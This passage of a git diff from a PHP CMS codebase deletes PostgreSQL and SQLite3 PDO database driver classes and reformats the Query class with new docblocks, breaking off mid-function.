_fetch($result, $arrayIndexEndValue = NULL) - { - if (!$this->isConnected() || $this->isError() || !$result) - return; - while ($tmp = pg_fetch_object($result)) { - if($arrayIndexEndValue) $output[$arrayIndexEndValue--] = $tmp; - else $output[] = $tmp; - } - if(count($output)==1){ - if(isset($arrayIndexEndValue)) return $output; - else return $output[0]; - } - return $output; - } - - /** - * @brief Return sequence value incremented by 1(in postgresql, auto_increment is used in the sequence table only) - **/ - function getNextSequence() - { - $query = sprintf("select nextval('%ssequence') as seq", $this->prefix); - $result = $this->_query($query); - $tmp = $this->_fetch($result); - return $tmp->seq; - } - - /** - * @brief Return if a table already exists - **/ - function isTableExists($target_name) - { - if ($target_name == "sequence") - return true; - $query = sprintf("SELECT tablename FROM pg_tables WHERE tablename = '%s%s' AND schemaname = current_schema()", - $this->prefix, $this->addQuotes($target_name)); - - $result = $this->_query($query); - $tmp = $this->_fetch($result); - if (!$tmp) - return false; - return true; - } - - /** - * @brief Add a column to a table - **/ - function addColumn($table_name, $column_name, $type = 'number', $size = '', $default = - NULL, $notnull = false) - { - $type = $this->column_type[$type]; - if (strtoupper($type) == 'INTEGER' || strtoupper($type) == 'BIGINT') - $size = ''; - - $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); - - if ($size) - $query .= sprintf(" %s(%s) ", $type, $size); - else - $query .= sprintf(" %s ", $type); - - $this->_query($query); - - if (isset($default)) { - $query = sprintf("alter table %s%s alter %s set default '%s' ", $this->prefix, $table_name, $column_name, $default); - $this->_query($query); - } - if ($notnull) { - $query = sprintf("update %s%s set %s = %s ", $this->prefix, $table_name, $column_name, $default); - $this->_query($query); - $query = sprintf("alter table %s%s alter %s set not null ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - } - - - /** - * @brief Return column information of a table - **/ - function isColumnExists($table_name, $column_name) - { - $query = sprintf("SELECT attname FROM pg_attribute WHERE attrelid = (SELECT oid FROM pg_class WHERE relname = '%s%s') AND attname = '%s'", - $this->prefix, strtolower($table_name), strtolower($column_name)); - - // $query = sprintf("select column_name from information_schema.columns where table_schema = current_schema() and table_name = '%s%s' and column_name = '%s'", $this->prefix, $this->addQuotes($table_name), strtolower($column_name)); - $result = $this->_query($query); - if ($this->isError()) { - return; - } - $output = $this->_fetch($result); - if ($output) { - return true; - } - return false; - } - - /** - * @brief Add an index to a table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - **/ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) - { - if (!is_array($target_columns)) - $target_columns = array($target_columns); - - if (strpos($table_name, $this->prefix) === false) - $table_name = $this->prefix . $table_name; - // Use a tablename before an index name to avoid defining the same index - $index_name = $table_name . $index_name; - - $query = sprintf("create %s index %s on %s (%s);", $is_unique ? 'unique' : '', $index_name, - $table_name, implode(',', $target_columns)); - $this->_query($query); - } - - /** - * @brief Delete a column from a table - **/ - function dropColumn($table_name, $column_name) - { - $query = sprintf("alter table %s%s drop %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - - /** - * @brief Drop an index from a table - **/ - function dropIndex($table_name, $index_name, $is_unique = false) - { - if (strpos($table_name, $this->prefix) === false) - $table_name = $this->prefix . $table_name; - // Use a tablename before an index name to avoid defining the same index - $index_name = $table_name . $index_name; - - $query = sprintf("drop index %s", $index_name); - $this->_query($query); - } - - - /** - * @brief Return index information of a table - **/ - function isIndexExists($table_name, $index_name) - { - if (strpos($table_name, $this->prefix) === false) - $table_name = $this->prefix . $table_name; - // Use a tablename before an index name to avoid defining the same index - $index_name = $table_name . $index_name; - - //$query = sprintf("show indexes from %s%s where key_name = '%s' ", $this->prefix, $table_name, $index_name); - $query = sprintf("select indexname from pg_indexes where schemaname = current_schema() and tablename = '%s' and indexname = '%s'", - $table_name, strtolower($index_name)); - $result = $this->_query($query); - if ($this->isError()) - return; - $output = $this->_fetch($result); - - if ($output) { - return true; - } - // var_dump($query); - // die(" no index"); - return false; - } - - /** - * @brief Create a table by using xml file - **/ - function createTableByXml($xml_doc) - { - return $this->_createTable($xml_doc); - } - - /** - * @brief Create a table by using xml file - **/ - function createTableByXmlFile($file_name) - { - if (!file_exists($file_name)) - return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * @brief generate a query statement to create a table by using schema xml - * - * type : number, varchar, text, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - **/ - function _createTable($xml_doc) - { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - - if ($table_name == 'sequence') { - $query = sprintf('create sequence %s', $this->prefix . $table_name); - return $this->_query($query); - } - - if ($this->isTableExists($table_name)) - return; - $table_name = $this->prefix . $table_name; - - if (!is_array($xml_obj->table->column)) - $columns[] = $xml_obj->table->column; - else - $columns = $xml_obj->table->column; - - foreach ($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - if ($type == "bignumber" || $type == "number") - $size = 0; - - $column_schema[] = sprintf('%s %s%s %s %s', $name, $this->column_type[$type], $size ? - '(' . $size . ')' : '', isset($default) ? "default '" . $default . "'" : '', $notnull ? - 'not null' : ''); - - if ($primary_key) - $primary_list[] = $name; - else - if ($unique) - $unique_list[$unique][] = $name; - else - if ($index) - $index_list[$index][] = $name; - } - - if (count($primary_list)) { - $column_schema[] = sprintf("primary key (%s)", implode($primary_list, ',')); - } - - if (count($unique_list)) { - foreach ($unique_list as $key => $val) { - $column_schema[] = sprintf("unique (%s)", implode($val, ',')); - } - } - - - $schema = sprintf('create table %s (%s%s);', $this->addQuotes($table_name), "\n", - implode($column_schema, ",\n")); - - $output = $this->_query($schema); - - if (count($index_list)) { - foreach ($index_list as $key => $val) { - if (!$this->isIndexExists($table_name, $key)) - $this->addIndex($table_name, $key, $val); - } - } - - if (!$output) - return false; - - } - - - /** - * @brief Handle the insertAct - **/ - function _executeInsertAct($queryObject) - { - $query = $this->getInsertSql($queryObject); - if(is_a($query, 'Object')) return; - - return $this->_query($query); - } - - /** - * @brief Handle updateAct - **/ - function _executeUpdateAct($queryObject) - { - $query = $this->getUpdateSql($queryObject); - if(is_a($query, 'Object')) return; - return $this->_query($query); - } - - /** - * @brief Handle deleteAct - **/ - function _executeDeleteAct($queryObject) - { - $query = $this->getDeleteSql($queryObject); - - if(is_a($query, 'Object')) return; - return $this->_query($query); - } - - /** - * - * override - * @param $queryObject - */ - function getSelectSql($query){ - $select = $query->getSelectString(); - if($select == '') return new Object(-1, "Invalid query"); - $select = 'SELECT ' .$select; - - $from = $query->getFromString(); - if($from == '') return new Object(-1, "Invalid query"); - $from = ' FROM '.$from; - - $where = $query->getWhereString(); - if($where != '') $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if($groupBy != '') $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if($orderBy != '') $orderBy = ' ORDER BY ' . $orderBy; - - $limit = $query->getLimitString(); - $limitObject = $query->getLimit(); - if($limit != '') $limit = ' LIMIT ' . $limitObject->getLimit() . ' OFFSET ' . $limitObject->getOffset(); - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } - - /** - * @brief Handle selectAct - * - * In order to get a list of pages easily when selecting \n - * it supports a method as navigation - **/ - function _executeSelectAct($queryObject, $connection) - { - $query = $this->getSelectSql($queryObject); - - if(is_a($query, 'Object')) return; - - $query .= (__DEBUG_QUERY__&1 && $queryObject->query_id)?sprintf(' '.$this->comment_syntax,$this->query_id):''; - - // TODO Add support for click count - // TODO Add code for pagination - - $result = $this->_query ($query, $connection); - if ($this->isError ()) { - if ($limit && $output->limit->isPageHandler()){ - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array (); - $buff->page_navigation = new PageHandler (/*$total_count*/0, /*$total_page*/1, /*$page*/1, /*$page_count*/10);//default page handler values - return $buff; - }else - return; - } - - $limit = $queryObject->getLimit(); - if ($limit && $limit->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE '. $temp_where)); - if ($queryObject->getGroupByString() != '') { - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= (__DEBUG_QUERY__&1 && $output->query_id)?sprintf (' '.$this->comment_syntax, $this->query_id):''; - $result_count = $this->_query($count_query, $connection); - $count_output = $this->_fetch($result_count); - $total_count = (int)$count_output->count; - - // Total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $limit->list_count) + 1; - } else $total_page = 1; - - - $virtual_no = $total_count - ($limit->page - 1) * $limit->list_count; - $data = $this->_fetch($result, $virtual_no); - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $limit->page->getValue(); - $buff->data = $data; - $buff->page_navigation = new PageHandler($total_count, $total_page, $limit->page->getValue(), $limit->page_count); - }else{ - $data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - } - - return $buff; - } - - function getParser(){ - return new DBParser('"', '"', $this->prefix); - } -} -?> diff --git a/classes/db/DBSqlite3_pdo.class.php b/classes/db/DBSqlite3_pdo.class.php deleted file mode 100644 index e84a15b91..000000000 --- a/classes/db/DBSqlite3_pdo.class.php +++ /dev/null @@ -1,636 +0,0 @@ - 'INTEGER', - 'number' => 'INTEGER', - 'varchar' => 'VARCHAR', - 'char' => 'CHAR', - 'text' => 'TEXT', - 'bigtext' => 'TEXT', - 'date' => 'VARCHAR(14)', - 'float' => 'REAL', - ); - - /** - * @brief constructor - **/ - function DBSqlite3_pdo() { - $this->_setDBInfo(); - $this->_connect(); - } - - /** - * @brief create an instance of this class - */ - function create() - { - return new DBSqlite3_pdo; - } - - /** - * @brief Return if installable - **/ - function isSupported() { - return class_exists('PDO'); - } - - function isConnected() { - return $this->is_connected; - } - - /** - * @brief DB settings and connect/close - **/ - function _setDBInfo() { - $db_info = Context::getDBInfo(); - $this->database = $db_info->master_db["db_database"]; - $this->prefix = $db_info->master_db["db_table_prefix"]; - //if(!substr($this->prefix,-1)!='_') $this->prefix .= '_'; - } - - /** - * @brief DB Connection - **/ - function _connect() { - // override if db information not exists - if(!$this->database) return; - - // Attempt to access the database file - try { - // PDO is only supported with PHP5, - // so it is allowed to use try~catch statment in this class. - $this->handler = new PDO('sqlite:'.$this->database); - } catch (PDOException $e) { - $this->setError(-1, 'Connection failed: '.$e->getMessage()); - $this->is_connected = false; - return; - } - - // Check connections - $this->is_connected = true; - $this->password = md5($this->password); - } - - /** - * @brief disconnect to DB - **/ - function close() { - if(!$this->is_connected) return; - $this->commit(); - } - - /** - * @brief Begin a transaction - **/ - function begin() { - if(!$this->is_connected || $this->transaction_started) return; - if($this->handler->beginTransaction()) $this->transaction_started = true; - } - - /** - * @brief Rollback - **/ - function rollback() { - if(!$this->is_connected || !$this->transaction_started) return; - $this->handler->rollBack(); - $this->transaction_started = false; - } - - /** - * @brief Commit - **/ - function commit($force = false) { - if(!$force && (!$this->is_connected || !$this->transaction_started)) return; - try { - $this->handler->commit(); - } - catch(PDOException $e){ - // There was no transaction started, so just continue. - error_log($e->getMessage()); - } - $this->transaction_started = false; - } - - /** - * @brief Add or change quotes to the query string variables - **/ - function addQuotes($string) { - if(version_compare(PHP_VERSION, "5.9.0", "<") && get_magic_quotes_gpc()) $string = stripslashes(str_replace("\\","\\\\",$string)); - if(!is_numeric($string)) $string = str_replace("'","''",$string); - return $string; - } - - /** - * @brief : Prepare a query statement - **/ - function _prepare($query) { - if(!$this->is_connected) return; - - // notify to start a query execution - $this->actStart($query); - - $this->stmt = $this->handler->prepare($query); - - if($this->handler->errorCode() != '00000') { - $this->setError($this->handler->errorCode(), print_r($this->handler->errorInfo(),true)); - $this->actFinish(); - } - $this->bind_idx = 0; - $this->bind_vars = array(); - } - - /** - * @brief : Binding params in stmt - **/ - function _bind($val) { - if(!$this->is_connected || !$this->stmt) return; - - $this->bind_idx ++; - $this->bind_vars[] = $val; - $this->stmt->bindParam($this->bind_idx, $val); - } - - /** - * @brief : execute the prepared statement - **/ - function _execute() { - if(!$this->is_connected || !$this->stmt) return; - - $this->stmt->execute(); - - if($this->stmt->errorCode() === '00000') { - $output = null; - while($tmp = $this->stmt->fetch(PDO::FETCH_ASSOC)) { - unset($obj); - foreach($tmp as $key => $val) { - $pos = strpos($key, '.'); - if($pos) $key = substr($key, $pos+1); - $obj->{$key} = str_replace("''","'",$val); - } - $output[] = $obj; - } - } else { - $this->setError($this->stmt->errorCode(),print_r($this->stmt->errorInfo(),true)); - } - - $this->stmt = null; - $this->actFinish(); - - if(is_array($output) && count($output)==1) return $output[0]; - return $output; - } - - /** - * @brief Return the sequence value incremented by 1 - **/ - function getNextSequence() { - $query = sprintf("insert into %ssequence (seq) values (NULL)", $this->prefix); - $this->_prepare($query); - $result = $this->_execute(); - $sequence = $this->handler->lastInsertId(); - if($sequence % 10000 == 0) { - $query = sprintf("delete from %ssequence where seq < %d", $this->prefix, $sequence); - $this->_prepare($query); - $result = $this->_execute(); - } - - return $sequence; - } - - /** - * @brief return if the table already exists - **/ - function isTableExists($target_name) { - $query = sprintf('pragma table_info(%s%s)', $this->prefix, $target_name); - $this->_prepare($query); - if(!$this->_execute()) return false; - return true; - } - - /** - * @brief Add a column to a table - **/ - function addColumn($table_name, $column_name, $type='number', $size='', $default = '', $notnull=false) { - $type = $this->column_type[$type]; - if(strtoupper($type)=='INTEGER') $size = ''; - - $query = sprintf("alter table %s%s add %s ", $this->prefix, $table_name, $column_name); - if($size) $query .= sprintf(" %s(%s) ", $type, $size); - else $query .= sprintf(" %s ", $type); - if($default) $query .= sprintf(" default '%s' ", $default); - if($notnull) $query .= " not null "; - - $this->_prepare($query); - return $this->_execute(); - } - - /** - * @brief Remove a column from a table - **/ - function dropColumn($table_name, $column_name) { - $query = sprintf("alter table %s%s drop column %s ", $this->prefix, $table_name, $column_name); - $this->_query($query); - } - - /** - * @brief Return column information of a table - **/ - function isColumnExists($table_name, $column_name) { - $query = sprintf("pragma table_info(%s%s)", $this->prefix, $table_name); - $this->_prepare($query); - $output = $this->_execute(); - - if($output) { - $column_name = strtolower($column_name); - foreach($output as $key => $val) { - $name = strtolower($val->name); - if($column_name == $name) return true; - } - } - return false; - } - - /** - * @brief Add an index to a table - * $target_columns = array(col1, col2) - * $is_unique? unique : none - **/ - function addIndex($table_name, $index_name, $target_columns, $is_unique = false) { - if(!is_array($target_columns)) $target_columns = array($target_columns); - - $key_name = sprintf('%s%s_%s', $this->prefix, $table_name, $index_name); - - $query = sprintf('CREATE %s INDEX %s ON %s%s (%s)', $is_unique?'UNIQUE':'', $key_name, $this->prefix, $table_name, implode(',',$target_columns)); - $this->_prepare($query); - $this->_execute(); - } - - /** - * @brief Drop an index from a table - **/ - function dropIndex($table_name, $index_name, $is_unique = false) { - $key_name = sprintf('%s%s_%s', $this->prefix, $table_name, $index_name); - $query = sprintf("DROP INDEX %s", $this->prefix, $table_name, $key_name); - $this->_query($query); - } - - /** - * @brief Return index information of a table - **/ - function isIndexExists($table_name, $index_name) { - $key_name = sprintf('%s%s_%s', $this->prefix, $table_name, $index_name); - - $query = sprintf("pragma index_info(%s)", $key_name); - $this->_prepare($query); - $output = $this->_execute(); - if(!$output) return false; - return true; - } - - /** - * @brief create a table from xml file - **/ - function createTableByXml($xml_doc) { - return $this->_createTable($xml_doc); - } - - /** - * @brief create a table from xml file - **/ - function createTableByXmlFile($file_name) { - if(!file_exists($file_name)) return; - // read xml file - $buff = FileHandler::readFile($file_name); - return $this->_createTable($buff); - } - - /** - * @brief generate a query to create a table using the schema xml - * - * type : number, varchar, text, char, date, \n - * opt : notnull, default, size\n - * index : primary key, index, unique\n - **/ - function _createTable($xml_doc) { - // xml parsing - $oXml = new XmlParser(); - $xml_obj = $oXml->parse($xml_doc); - // Create a table schema - $table_name = $xml_obj->table->attrs->name; - if($this->isTableExists($table_name)) return; - $table_name = $this->prefix.$table_name; - - if(!is_array($xml_obj->table->column)) $columns[] = $xml_obj->table->column; - else $columns = $xml_obj->table->column; - - foreach($columns as $column) { - $name = $column->attrs->name; - $type = $column->attrs->type; - if(strtoupper($this->column_type[$type])=='INTEGER') $size = ''; - else $size = $column->attrs->size; - $notnull = $column->attrs->notnull; - $primary_key = $column->attrs->primary_key; - $index = $column->attrs->index; - $unique = $column->attrs->unique; - $default = $column->attrs->default; - $auto_increment = $column->attrs->auto_increment; - - if($auto_increment) { - $column_schema[] = sprintf('%s %s PRIMARY KEY %s', - $name, - $this->column_type[$type], - $auto_increment?'AUTOINCREMENT':'' - ); - } else { - $column_schema[] = sprintf('%s %s%s %s %s %s', - $name, - $this->column_type[$type], - $size?'('.$size.')':'', - $notnull?'NOT NULL':'', - $primary_key?'PRIMARY KEY':'', - isset($default)?"DEFAULT '".$default."'":'' - ); - } - - if($unique) $unique_list[$unique][] = $name; - else if($index) $index_list[$index][] = $name; - } - - $schema = sprintf('CREATE TABLE %s (%s%s) ;', $table_name," ", implode($column_schema,", ")); - $this->_prepare($schema); - $this->_execute(); - if($this->isError()) return; - - if(count($unique_list)) { - foreach($unique_list as $key => $val) { - $query = sprintf('CREATE UNIQUE INDEX %s_%s ON %s (%s)', $this->addQuotes($table_name), $key, $this->addQuotes($table_name), implode(',',$val)); - $this->_prepare($query); - $this->_execute(); - if($this->isError()) $this->rollback(); - } - } - - if(count($index_list)) { - foreach($index_list as $key => $val) { - $query = sprintf('CREATE INDEX %s_%s ON %s (%s)', $this->addQuotes($table_name), $key, $this->addQuotes($table_name), implode(',',$val)); - $this->_prepare($query); - $this->_execute(); - if($this->isError()) $this->rollback(); - } - } - } - - function _getConnection($type = null){ - return null; - } - - /** - * @brief insertAct - * */ - function _executeInsertAct($queryObject) { - $query = $this->getInsertSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - - $val_count = count($val_list); - for ($i = 0; $i < $val_count; $i++) - $this->_bind($val_list[$i]); - - return $this->_execute(); - } - - /** - * @brief updateAct - * */ - function _executeUpdateAct($queryObject) { - $query = $this->getUpdateSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - return $this->_execute(); - } - - /** - * @brief deleteAct - * */ - function _executeDeleteAct($queryObject) { - $query = $this->getDeleteSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - return $this->_execute(); - } - - /** - * @brief selectAct - * - * To fetch a list of the page conveniently when selecting, \n - * navigation method supported - * */ - function _executeSelectAct($queryObject) { - $query = $this->getSelectSql($queryObject); - if (is_a($query, 'Object')) - return; - - $this->_prepare($query); - $data = $this->_execute(); - // TODO isError is called twice - if ($this->isError()) - return; - - if ($this->isError()) - return $this->queryError($queryObject); - else - return $this->queryPageLimit($queryObject, $data); - } - - function queryError($queryObject) { - if ($queryObject->getLimit() && $queryObject->getLimit()->isPageHandler()) { - $buff = new Object (); - $buff->total_count = 0; - $buff->total_page = 0; - $buff->page = 1; - $buff->data = array(); - $buff->page_navigation = new PageHandler(/* $total_count */0, /* $total_page */1, /* $page */1, /* $page_count */10); //default page handler values - return $buff; - }else - return; - } - - function queryPageLimit($queryObject, $data) { - if ($queryObject->getLimit() && $queryObject->getLimit()->isPageHandler()) { - // Total count - $temp_where = $queryObject->getWhereString(true, false); - $count_query = sprintf('select count(*) as "count" %s %s', 'FROM ' . $queryObject->getFromString(), ($temp_where === '' ? '' : ' WHERE ' . $temp_where)); - if ($queryObject->getGroupByString() != '') { - $count_query = sprintf('select count(*) as "count" from (%s) xet', $count_query); - } - - $count_query .= ( __DEBUG_QUERY__ & 1 && $output->query_id) ? sprintf(' ' . $this->comment_syntax, $this->query_id) : ''; - $this->_prepare($count_query); - $count_output = $this->_execute(); - $total_count = (int) $count_output->count; - - $list_count = $queryObject->getLimit()->list_count->getValue(); - if (!$list_count) $list_count = 20; - $page_count = $queryObject->getLimit()->page_count->getValue(); - if (!$page_count) $page_count = 10; - $page = $queryObject->getLimit()->page->getValue(); - if (!$page) $page = 1; - // Total pages - if ($total_count) { - $total_page = (int) (($total_count - 1) / $list_count) + 1; - } else - $total_page = 1; - - // check the page variables - if ($page > $total_page) { - // If requested page is bigger than total number of pages, return empty list - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = array(); - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - return $buff; - } - $start_count = ($page - 1) * $list_count; - - $this->_prepare($this->getSelectPageSql($queryObject, true, $start_count, $list_count)); - $this->stmt->execute(); - if ($this->stmt->errorCode() != '00000') { - $this->setError($this->stmt->errorCode(), print_r($this->stmt->errorInfo(), true)); - $this->actFinish(); - return $buff; - } - - $output = null; - $virtual_no = $total_count - ($page - 1) * $list_count; - //$data = $this->_fetch($result, $virtual_no); - while ($tmp = $this->stmt->fetch(PDO::FETCH_ASSOC)) { - unset($obj); - foreach ($tmp as $key => $val) { - $pos = strpos($key, '.'); - if ($pos) - $key = substr($key, $pos + 1); - $obj->{$key} = $val; - } - $datatemp[$virtual_no--] = $obj; - } - - $this->stmt = null; - $this->actFinish(); - - $buff = new Object (); - $buff->total_count = $total_count; - $buff->total_page = $total_page; - $buff->page = $page; - $buff->data = $datatemp; - $buff->page_navigation = new PageHandler($total_count, $total_page, $page, $page_count); - }else { - //$data = $this->_fetch($result); - $buff = new Object (); - $buff->data = $data; - } - return $buff; - } - - function getSelectPageSql($query, $with_values = true, $start_count = 0, $list_count = 0) { - - $select = $query->getSelectString($with_values); - if ($select == '') - return new Object(-1, "Invalid query"); - $select = 'SELECT ' . $select; - - $from = $query->getFromString($with_values); - if ($from == '') - return new Object(-1, "Invalid query"); - $from = ' FROM ' . $from; - - $where = $query->getWhereString($with_values); - if ($where != '') - $where = ' WHERE ' . $where; - - $groupBy = $query->getGroupByString(); - if ($groupBy != '') - $groupBy = ' GROUP BY ' . $groupBy; - - $orderBy = $query->getOrderByString(); - if ($orderBy != '') - $orderBy = ' ORDER BY ' . $orderBy; - - $limit = $query->getLimitString(); - if ($limit != '' && $query->getLimit()) { - $limit = sprintf(' LIMIT %d, %d',$start_count, $list_count); - } - - return $select . ' ' . $from . ' ' . $where . ' ' . $groupBy . ' ' . $orderBy . ' ' . $limit; - } - - function getParser() { - return new DBParser('"', '"', $this->prefix); - } - - function getUpdateSql($query, $with_values = true, $with_priority = false){ - $columnsList = $query->getUpdateString($with_values); - if($columnsList == '') return new Object(-1, "Invalid query"); - - $tableName = $query->getFirstTableName(); - if($tableName == '') return new Object(-1, "Invalid query"); - - $where = $query->getWhereString($with_values); - if($where != '') $where = ' WHERE ' . $where; - - $priority = $with_priority?$query->getPriority():''; - - return "UPDATE $priority $tableName SET $columnsList ".$where; - } - - function getDeleteSql($query, $with_values = true, $with_priority = false){ - $sql = 'DELETE '; - - $tables = $query->getTables(); - $from = $tables[0]->getName(); - $sql .= ' FROM '.$from; - - $where = $query->getWhereString($with_values); - if($where != '') $sql .= ' WHERE ' . $where; - - return $sql; - } -} -?> diff --git a/classes/db/queryparts/Query.class.php b/classes/db/queryparts/Query.class.php index 516fb3212..5d7448f02 100644 --- a/classes/db/queryparts/Query.class.php +++ b/classes/db/queryparts/Query.class.php @@ -1,519 +1,674 @@ queryID = $queryID; - $this->action = $action; - $this->priority = $priority; + /** + * condition list + * @var string|array + */ + var $conditions; - if(!isset($tables)) return; - $this->columns = $this->setColumns($columns); - $this->tables = $this->setTables($tables); - $this->conditions = $this->setConditions($conditions); - $this->groups = $this->setGroups($groups); - $this->orderby = $this->setOrder($orderby); - $this->limit = $this->setLimit($limit); - } + /** + * group list + * @var string|array + */ + var $groups; - function show(){ - return TRUE; - } + /** + * order list + * @var array + */ + var $orderby; - function setQueryId($queryID){ - $this->queryID = $queryID; - } + /** + * limit count + * @var int + */ + var $limit; - function setAction($action){ - $this->action = $action; - } - - function setPriority($priority){ - $this->priority = $priority; - } + /** + * argument list + * @var array + */ + var $arguments = NULL; - function setColumnList($columnList){ - $this->columnList = $columnList; - if(count($this->columnList) > 0) { - $selectColumns = array(); - $dbParser = DB::getParser(); + /** + * column list + * @var array + */ + var $columnList = NULL; - foreach($this->columnList as $columnName){ - $columnName = $dbParser->escapeColumn($columnName); - $selectColumns[] = new SelectExpression($columnName); - } - unset($this->columns); - $this->columns = $selectColumns; - } - } + /** + * order by text + * @var string + */ + var $_orderByString; - function setColumns($columns){ - if(!isset($columns) || count($columns) === 0){ - $this->columns = array(new StarExpression()); - return; - } + /** + * constructor + * @param string $queryID + * @param string $action + * @param string|array $columns + * @param string|array $tables + * @param string|array $conditions + * @param string|array $groups + * @param string|array $orderby + * @param int $limit + * @param string $priority + * @return void + */ + function Query($queryID = NULL + , $action = NULL + , $columns = NULL + , $tables = NULL + , $conditions = NULL + , $groups = NULL + , $orderby = NULL + , $limit = NULL + , $priority = NULL) + { + $this->queryID = $queryID; + $this->action = $action; + $this->priority = $priority; - if(!is_array($columns)) $columns = array($columns); - - $this->columns = $columns; - } - - function setTables($tables){ - if(!isset($tables) || count($tables) === 0){ - $this->setError(TRUE); - $this->setMessage("You must provide at least one table for the query."); - return; - } - - if(!is_array($tables)) $tables = array($tables); - - $this->tables = $tables; - } - - function setSubquery($subquery){ - $this->subquery = $subquery; - } - - function setConditions($conditions){ - $this->conditions = array(); - if(!isset($conditions) || count($conditions) === 0) return; - if(!is_array($conditions)) $conditions = array($conditions); - - foreach($conditions as $conditionGroup){ - if($conditionGroup->show()) $this->conditions[] = $conditionGroup; - } - } - - function setGroups($groups){ - if(!isset($groups) || count($groups) === 0) return; - if(!is_array($groups)) $groups = array($groups); - - $this->groups = $groups; - } - - function setOrder($order){ - if(!isset($order) || count($order) === 0) return; - if(!is_array($order)) $order = array($order); - - $this->orderby = $order; - } - - function setLimit($limit = NULL){ - if(!isset($limit)) return; - $this->limit = $limit; - } - - // START Fluent interface - /** - * seleect set - * @param string|array $columns - * @return Query return Query instance - */ - function select($columns= NULL){ - $this->action = 'select'; - $this->setColumns($columns); - return $this; - } - - /** - * from set - * @param string|array $tables - * @return Query return Query instance - */ - function from($tables){ - $this->setTables($tables); - return $this; - } - - /** - * where set - * @param string|array $conditions - * @return Query return Query instance - */ - function where($conditions){ - $this->setConditions($conditions); - return $this; - } - - /** - * groupBy set - * @param string|array $groups - * @return Query return Query instance - */ - function groupBy($groups){ - $this->setGroups($groups); - return $this; - } - - /** - * orderBy set - * @param string|array $order - * @return Query return Query instance - */ - function orderBy($order){ - $this->setOrder($order); - return $this; - } - - /** - * limit set - * @param int $limit - * @return Query return Query instance - */ - function limit($limit){ - $this->setLimit($limit); - return $this; - } - // END Fluent interface - - function getAction(){ - return $this->action; - } - - function getPriority(){ - return $this->priority?'LOW_PRIORITY':''; - } - - /** - * Check if current query uses the click count attribute - * For CUBRID, this statement uses the click count feature. - * For the other databases, using this attribute causes a query - * to produce both a select and an update - */ - function usesClickCount() + if(!isset($tables)) { - return count($this->getClickCountColumns()) > 0; + return; } - function getClickCountColumns() + $this->columns = $this->setColumns($columns); + $this->tables = $this->setTables($tables); + $this->conditions = $this->setConditions($conditions); + $this->groups = $this->setGroups($groups); + $this->orderby = $this->setOrder($orderby); + $this->limit = $this->setLimit($limit); + } + + function show() + { + return TRUE; + } + + function setQueryId($queryID) + { + $this->queryID = $queryID; + } + + function setAction($action) + { + $this->action = $action; + } + + function setPriority($priority) + { + $this->priority = $priority; + } + + function setColumnList($columnList) + { + $this->columnList = $columnList; + if(count($this->columnList) > 0) { - $click_count_columns = array(); - foreach($this->columns as $column){ - if($column->show() && is_a($column, 'ClickCountExpression')) - $click_count_columns[] = $column; + $selectColumns = array(); + $dbParser = DB::getParser(); + + foreach($this->columnList as $columnName) + { + $columnName = $dbParser->escapeColumn($columnName); + $selectColumns[] = new SelectExpression($columnName); } - return $click_count_columns; - } - - /** - * Return select sql - * @param boolean $with_values - * @return string - */ - function getSelectString($with_values = TRUE){ - $select = array(); - foreach($this->columns as $column){ - if($column->show()) - if($column->isSubquery()){ - $select[] = $column->toString($with_values) . ' as '. $column->getAlias(); - } - else - $select[] = $column->getExpression($with_values); - } - return trim(implode($select, ', ')); - } - - /** - * Return update sql - * @param boolean $with_values - * @return string - */ - function getUpdateString($with_values = TRUE){ - foreach($this->columns as $column){ - if($column->show()) - $update[] = $column->getExpression($with_values); - } - return trim(implode($update, ', ')); - } - - /** - * Return insert sql - * @param boolean $with_values - * @return string - */ - function getInsertString($with_values = TRUE){ - $columnsList = ''; - if($this->subquery){ // means we have insert-select - - foreach($this->columns as $column){ - $columnsList .= $column->getColumnName() . ', '; - } - $columnsList = substr($columnsList, 0, -2); - - $selectStatement = $this->subquery->toString($with_values); - $selectStatement = substr($selectStatement, 1, -1); - - return "($columnsList) \n $selectStatement"; - } - - - $valuesList = ''; - foreach($this->columns as $column){ - if($column->show()){ - $columnsList .= $column->getColumnName() . ', '; - $valuesList .= $column->getValue($with_values) . ', '; - } - } - $columnsList = substr($columnsList, 0, -2); - $valuesList = substr($valuesList, 0, -2); - - return "($columnsList) \n VALUES ($valuesList)"; - } - - function getTables(){ - return $this->tables; - } - - /** - * from table_a - * from table_a inner join table_b on x=y - * from (select * from table a) as x - * from (select * from table t) as x inner join table y on y.x - * @param boolean $with_values - * @return string - */ - function getFromString($with_values = TRUE){ - $from = ''; - $simple_table_count = 0; - foreach($this->tables as $table){ - 